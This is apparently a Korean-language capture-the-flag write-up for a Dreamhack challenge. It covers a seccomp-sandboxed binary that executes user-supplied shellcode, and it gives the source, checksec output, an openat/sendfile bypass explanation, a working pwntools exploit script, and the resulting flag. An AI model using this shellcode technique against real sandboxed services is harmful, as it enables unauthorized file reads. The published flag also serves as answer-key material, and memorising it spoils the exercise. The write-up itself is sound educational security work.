Description
Exploit Tech: Bypass SECCOMP에서 실습하는 문제입니다.
checksec
seo@seo:~/Desktop/bypass_seccomp_$ checksec ./bypass_seccomp [*] '/home/seo/Desktop/bypass_seccomp_/bypass_seccomp' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Source Code
bypass_seccomp.c
// Name: bypass_seccomp.c // Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp #include <fcntl.h> #include <seccomp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/prctl.h> #include <unistd.h> void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void sandbox() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); if (ctx == NULL) { exit(0); } seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0); seccomp_load(ctx); } int main(int argc, char *argv[]) { void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); void (*sc)(); init(); memset(shellcode, 0, 0x1000); printf("shellcode: "); read(0, shellcode, 0x1000); sandbox(); sc = (void *)shellcode; sc(); }
sandbox() 함수를 호출하여 open, execve, execveat, write 시스템 콜 사용을 제한하고 있다.
사용자로부터 0x1000 크기만큼 쉘코드를 입력받고 실행한다.
Solution
openat과 sendfile 시스템콜을 사용하여 플래그를 읽으면 된다.
openat
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd는
openat(-100, (플래그가 있는 상대경로), O_RDONLY);
절대 경로인 경우, dirfd 매개변수는 무시할 수 있다.
또는 dirfd를 -100으로 지정하여 일반적으로 현재 작업 디렉토리를 나타내는 AT_FDCWD
(-100)으로 나타낼 수 있다.
pathname은 파일 경로,
flags는 RD_ONLY 읽기 전용,
mode는 파일 권한을 지정하는데 이 매개변수는 파일을 새로 생성할 때만 유효한다.
sendfile
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
sendfile(STDOUT_FILENO, (openat으로 열었던 파일 디스크립터), (입력 파일에서 데이터를 읽을 위치를 지정하는 오프셋), (읽어들일 데이터의 바이트 크기수)
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("host3.dreamhack.games", "14384") shellcode = shellcraft.openat(-100, "./flag", 0, 0) shellcode += shellcraft.sendfile(1, 'rax', 0, 4141) shellcode = asm(shellcode) p.sendlineafter("shellcode: ", shellcode) p.interactive()
Result
seo@seo:~/Desktop/bypass_seccomp_$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 14384: Done [*] Switching to interactive mode DH{fdac9699a765693377fe6595a82744934ed91185f0300447c45f143a0c08c8c1} [*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 14384